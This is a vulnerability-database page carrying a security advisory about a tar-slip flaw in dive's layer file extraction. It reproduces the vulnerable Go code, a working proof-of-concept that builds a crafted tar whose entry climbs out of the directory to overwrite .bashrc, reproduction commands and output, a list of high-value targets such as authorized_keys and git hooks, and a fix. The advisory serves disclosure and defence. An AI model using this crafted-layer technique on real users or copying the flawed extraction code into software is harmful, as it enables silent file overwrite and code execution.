GCVE-1988-2026-0415
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
dive tar-slip in image file extraction
Summary
# dive tar-slip in image file extraction
**Author:** Khashayar Fereidani
**Disclosure Date:** 2026-09-24
**Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction
**Contact:** https://fereidani.com/contact
## Description
dive is a terminal UI for exploring Docker image layers, and inspecting images
pulled from public registries is its main use case. The filetree view has an
extract action (the default keybinding is `ctrl+e`,
`cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file
from the image layer into the working directory. The call chain is
`onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`)
-> `engineResolver.Extract`
(`dive/image/docker/engine_resolver.go:56`) -> `ExtractFromImage`
(`dive/image/docker/image_archive.go:303`) -> `extractInner`
(`dive/image/docker/image_archive.go:337`):
```go
func extractInner(reader *tar.Reader, p string) error {
target := strings.TrimPrefix(p, "/")
for {
header, err := reader.Next()
if err == io.EOF {
break
}
if err != nil {
fmt.Println(err)
os.Exit(1)
}
name := header.Name
switch header.Typeflag {
case tar.TypeReg:
if strings.HasPrefix(name, target) {
err := os.MkdirAll(filepath.Dir(name), 0755)
if err != nil {
return err
}
out, err := os.Create(name)
if err != nil {
return err
}
_, err = io.Copy(out, reader)
if err != nil {
return err
}
}
default:
continue
}
}
return nil
}
```
`header.Name` comes from the layer being inspected, so the attacker fully
controls it. The only validation is `strings.HasPrefix(name, target)`, a
string prefix check rather than a path check: it offers no containment at all.
A name like `etc/motd-x/../../../.bashrc` passes the check for a selected
`etc/motd`, and `os.Create(name)` then resolves the raw name relative to the
directory dive was started in. There is no `filepath.Clean`, no rejection of
`..`, no containment root, no symlink check and no size cap.
The same string-prefix property lets an attacker prepare the path for the
escape in two steps. Because `filepath.Dir` cleans `..` segments away,
`os.MkdirAll` never creates the intermediate directory that a single escape
entry needs to walk through. But any earlier entry whose name still starts
with the selected path creates it: an entry named `etc/motd-x/keep` makes
`os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then
climb through it with `..`. Both entries pass the prefix check, and the
attacker controls the order of entries in the layer.
Reaching `extractInner` with crafted bytes is straightforward. The engine
resolver saves the image with the Docker API (`ImageSave`,
`dive/image/docker/engine_resolver.go:131`), which streams the original layer
blobs as they were pushed to the registry, and dive even pulls the image
itself when it is not available locally
(`dive/image/docker/engine_resolver.go:121`). Nothing between the registry
and `extractInner` rewrites entry names.
## Reproduction
The loop above is self-contained, so the whole feature can be exercised
without a registry or the UI. The program below copies `extractInner`
verbatim from the current main branch, feeds it a crafted layer tar, and
selects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that
file:
```go
package main
// extractInner copied verbatim from
// dive/image/docker/image_archive.go:337 (main, 2026-09-24).
import (
"archive/tar"
"bytes"
"fmt"
"io"
"os"
"path/filepath"
"strings"
)
func extractInner(reader *tar.Reader, p string) error {
target := strings.TrimPrefix(p, "/")
for {
header, err := reader.Next()
if err == io.EOF {
break
}
if err != nil {
fmt.Println(err)
os.Exit(1)
}
name := header.Name
switch header.Typeflag {
case tar.TypeReg:
if strings.HasPrefix(name, target) {
err := os.MkdirAll(filepath.Dir(name), 0755)
if err != nil {
return err
}
out, err := os.Create(name)
if err != nil {
return err
}
_, err = io.Copy(out, reader)
if err != nil {
return err
}
}
default:
continue
}
}
return nil
}
func addFile(tw *tar.Writer, name, body string) {
hdr := &tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)),
Typeflag: tar.TypeReg}
_ = tw.WriteHeader(hdr)
_, _ = tw.Write([]byte(body))
}
func main() {
var layer bytes.Buffer
tw := tar.NewWriter(&layer)
addFile(tw, "etc/motd", "welcome to the totally safe image\n")
addFile(tw, "etc/motd-x/keep", "x\n")
addFile(tw, "etc/motd-x/../../../.bashrc", "echo pwned\n")
_ = tw.Close()
err := extractInner(tar.NewReader(&layer), "/etc/motd")
fmt.Println("extractInner returned:", err)
}
```
Run it from a directory that stands in for the analyst's project directory,
with a `.bashrc` one level above:
```sh
mkdir -p home/victim/project
echo "alias ll='ls -l'" > home/victim/.bashrc
cd home/victim/project && go run main.go
```
Observed result:
```text
extractInner returned: <nil>
```
```text
$ find home -type f | sort
home/victim/.bashrc # was: alias ll='ls -l'
home/victim/project/etc/motd
home/victim/project/etc/motd-x/keep
$ cat home/victim/.bashrc
echo pwned
```
The selected file lands in the working directory as expected, and the escape
entry silently overwrites the `.bashrc` one level above it. `extractInner`
returns nil, so the UI reports a successful extract.
End to end, the same layer is delivered by publishing an image whose layer
blob contains the three entries above (any registry accepts the blob as-is),
and waiting for an analyst to run `dive` on the image and extract a file.
## Impact
Arbitrary file write with the analyst's privileges, at any path that is
reachable through `..` from the directory dive runs in, usually the home or
project directory. High-value targets include shell startup files such as
`~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the
current repository, and desktop autostart entries, which turn the write into
code execution at the next shell or login. The write is silent: extraction
succeeds and the extra entries leave no error behind.
The precondition is that the analyst selects a file in the crafted image and
presses the extract keybinding, which is why this is rated medium rather than
high. That action is exactly what the feature is for: an analyst who opens a
suspicious image to look at a credentials file or a config file has every
reason to extract it for a closer look, and the layer content is fully
attacker-controlled.
## Solution
Treat every entry name as hostile and extract through a containment root.
The check belongs on the cleaned, joined path, not on the raw string:
```go
dest := filepath.Join(destinationDir, filepath.Clean("/"+header.Name))
if dest != filepath.Join(destinationDir, target) {
continue // extraction is for the selected file only
}
```
Joining against `/`+name first makes `filepath.Clean` drop any leading `..`
or drive-letter tricks, and the equality check then reduces the write to the
one selected file inside `destinationDir`. Creating the file with
`os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the
extract from overwriting existing files or following a symlink planted
earlier in the same layer. This is the standard guard for the tar-slip class,
the tar variant of Zip Slip, which every archive extractor that writes to
disk needs.
Until a fix lands, do not use the extract keybinding on images from unknown
sources, and if it must be used, run dive from an empty directory (or from
inside a container) so that `..` has nowhere interesting to climb to.
## Timeline
- 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning
popular repositories with my static analyzer. The repository has seen no
commits since 2025-12-15, so no private disclosure attempt seemed useful;
dive 0.13.1 and the current main branch are affected.
## References
- [wagoodman/dive#722 - tar-slip in image layer file
extraction](https://github.com/wagoodman/dive/issues/722)
- [wagoodman/dive -
dive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go)
- [Snyk - Zip Slip vulnerability
research](https://snyk.io/research/zip-slip-vulnerability)
- [CWE-22: Improper Limitation of a Pathname to a Restricted
Directory](https://cwe.mitre.org/data/definitions/22.html)
- [CWE-59: Improper Link Resolution Before File
Access](https://cwe.mitre.org/data/definitions/59.html)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
11 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | dive tar-slip in |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "dive tar-slip in",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Khashayar Fereidani"
}
],
"descriptions": [
{
"lang": "en",
"value": "# dive tar-slip in image file extraction\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-24\n**Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction\n**Contact:** https://fereidani.com/contact\n\n## Description\n\ndive is a terminal UI for exploring Docker image layers, and inspecting images\npulled from public registries is its main use case. The filetree view has an\nextract action (the default keybinding is `ctrl+e`,\n`cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file\nfrom the image layer into the working directory. The call chain is\n`onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`)\n-\u003e `engineResolver.Extract`\n(`dive/image/docker/engine_resolver.go:56`) -\u003e `ExtractFromImage`\n(`dive/image/docker/image_archive.go:303`) -\u003e `extractInner`\n(`dive/image/docker/image_archive.go:337`):\n\n```go\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\n\nfor {\nheader, err := reader.Next()\n\nif err == io.EOF {\nbreak\n}\n\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\n\nname := header.Name\n\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\n\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\n\nreturn nil\n}\n```\n\n`header.Name` comes from the layer being inspected, so the attacker fully\ncontrols it. The only validation is `strings.HasPrefix(name, target)`, a\nstring prefix check rather than a path check: it offers no containment at all.\nA name like `etc/motd-x/../../../.bashrc` passes the check for a selected\n`etc/motd`, and `os.Create(name)` then resolves the raw name relative to the\ndirectory dive was started in. There is no `filepath.Clean`, no rejection of\n`..`, no containment root, no symlink check and no size cap.\n\nThe same string-prefix property lets an attacker prepare the path for the\nescape in two steps. Because `filepath.Dir` cleans `..` segments away,\n`os.MkdirAll` never creates the intermediate directory that a single escape\nentry needs to walk through. But any earlier entry whose name still starts\nwith the selected path creates it: an entry named `etc/motd-x/keep` makes\n`os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then\nclimb through it with `..`. Both entries pass the prefix check, and the\nattacker controls the order of entries in the layer.\n\nReaching `extractInner` with crafted bytes is straightforward. The engine\nresolver saves the image with the Docker API (`ImageSave`,\n`dive/image/docker/engine_resolver.go:131`), which streams the original layer\nblobs as they were pushed to the registry, and dive even pulls the image\nitself when it is not available locally\n(`dive/image/docker/engine_resolver.go:121`). Nothing between the registry\nand `extractInner` rewrites entry names.\n\n## Reproduction\n\nThe loop above is self-contained, so the whole feature can be exercised\nwithout a registry or the UI. The program below copies `extractInner`\nverbatim from the current main branch, feeds it a crafted layer tar, and\nselects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that\nfile:\n\n```go\npackage main\n\n// extractInner copied verbatim from\n// dive/image/docker/image_archive.go:337 (main, 2026-09-24).\nimport (\n\"archive/tar\"\n\"bytes\"\n\"fmt\"\n\"io\"\n\"os\"\n\"path/filepath\"\n\"strings\"\n)\n\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\nfor {\nheader, err := reader.Next()\nif err == io.EOF {\nbreak\n}\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\nname := header.Name\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\nreturn nil\n}\n\nfunc addFile(tw *tar.Writer, name, body string) {\nhdr := \u0026tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)),\nTypeflag: tar.TypeReg}\n_ = tw.WriteHeader(hdr)\n_, _ = tw.Write([]byte(body))\n}\n\nfunc main() {\nvar layer bytes.Buffer\ntw := tar.NewWriter(\u0026layer)\naddFile(tw, \"etc/motd\", \"welcome to the totally safe image\\n\")\naddFile(tw, \"etc/motd-x/keep\", \"x\\n\")\naddFile(tw, \"etc/motd-x/../../../.bashrc\", \"echo pwned\\n\")\n_ = tw.Close()\n\nerr := extractInner(tar.NewReader(\u0026layer), \"/etc/motd\")\nfmt.Println(\"extractInner returned:\", err)\n}\n```\n\nRun it from a directory that stands in for the analyst\u0027s project directory,\nwith a `.bashrc` one level above:\n\n```sh\nmkdir -p home/victim/project\necho \"alias ll=\u0027ls -l\u0027\" \u003e home/victim/.bashrc\ncd home/victim/project \u0026\u0026 go run main.go\n```\n\nObserved result:\n\n```text\nextractInner returned: \u003cnil\u003e\n```\n\n```text\n$ find home -type f | sort\nhome/victim/.bashrc # was: alias ll=\u0027ls -l\u0027\nhome/victim/project/etc/motd\nhome/victim/project/etc/motd-x/keep\n\n$ cat home/victim/.bashrc\necho pwned\n```\n\nThe selected file lands in the working directory as expected, and the escape\nentry silently overwrites the `.bashrc` one level above it. `extractInner`\nreturns nil, so the UI reports a successful extract.\n\nEnd to end, the same layer is delivered by publishing an image whose layer\nblob contains the three entries above (any registry accepts the blob as-is),\nand waiting for an analyst to run `dive` on the image and extract a file.\n\n## Impact\n\nArbitrary file write with the analyst\u0027s privileges, at any path that is\nreachable through `..` from the directory dive runs in, usually the home or\nproject directory. High-value targets include shell startup files such as\n`~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the\ncurrent repository, and desktop autostart entries, which turn the write into\ncode execution at the next shell or login. The write is silent: extraction\nsucceeds and the extra entries leave no error behind.\n\nThe precondition is that the analyst selects a file in the crafted image and\npresses the extract keybinding, which is why this is rated medium rather than\nhigh. That action is exactly what the feature is for: an analyst who opens a\nsuspicious image to look at a credentials file or a config file has every\nreason to extract it for a closer look, and the layer content is fully\nattacker-controlled.\n\n## Solution\n\nTreat every entry name as hostile and extract through a containment root.\nThe check belongs on the cleaned, joined path, not on the raw string:\n\n```go\ndest := filepath.Join(destinationDir, filepath.Clean(\"/\"+header.Name))\nif dest != filepath.Join(destinationDir, target) {\ncontinue // extraction is for the selected file only\n}\n```\n\nJoining against `/`+name first makes `filepath.Clean` drop any leading `..`\nor drive-letter tricks, and the equality check then reduces the write to the\none selected file inside `destinationDir`. Creating the file with\n`os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the\nextract from overwriting existing files or following a symlink planted\nearlier in the same layer. This is the standard guard for the tar-slip class,\nthe tar variant of Zip Slip, which every archive extractor that writes to\ndisk needs.\n\nUntil a fix lands, do not use the extract keybinding on images from unknown\nsources, and if it must be used, run dive from an empty directory (or from\ninside a container) so that `..` has nowhere interesting to climb to.\n\n## Timeline\n\n- 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning\n popular repositories with my static analyzer. The repository has seen no\n commits since 2025-12-15, so no private disclosure attempt seemed useful;\n dive 0.13.1 and the current main branch are affected.\n\n## References\n\n- [wagoodman/dive#722 - tar-slip in image layer file\nextraction](https://github.com/wagoodman/dive/issues/722)\n- [wagoodman/dive -\ndive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go)\n- [Snyk - Zip Slip vulnerability\nresearch](https://snyk.io/research/zip-slip-vulnerability)\n- [CWE-22: Improper Limitation of a Pathname to a Restricted\nDirectory](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-59: Improper Link Resolution Before File\nAccess](https://cwe.mitre.org/data/definitions/59.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-59",
"description": "CWE-59",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T04:57:32Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/81"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/81"
},
{
"url": "https://cwe.mitre.org/data/definitions/22.html"
},
{
"url": "https://cwe.mitre.org/data/definitions/59.html"
},
{
"url": "https://fereidani.com/contact"
},
{
"url": "https://fereidani.com/dive-tar-slip-in-image-file-extraction"
},
{
"url": "https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go"
},
{
"url": "https://github.com/wagoodman/dive/issues/722"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://snyk.io/research/zip-slip-vulnerability"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/81"
],
"discovery": "EXTERNAL"
},
"title": "dive tar-slip in image file extraction",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0415",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/81",
"automated": true,
"contentSha256": "6abfa560810db09d89cd76e3a010e20b4d8e8d790daac9f2480c66bfd9025dfb",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/81",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-24T02:58:19Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:32Z",
"dateUpdated": "2026-10-02T04:57:32Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0415"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.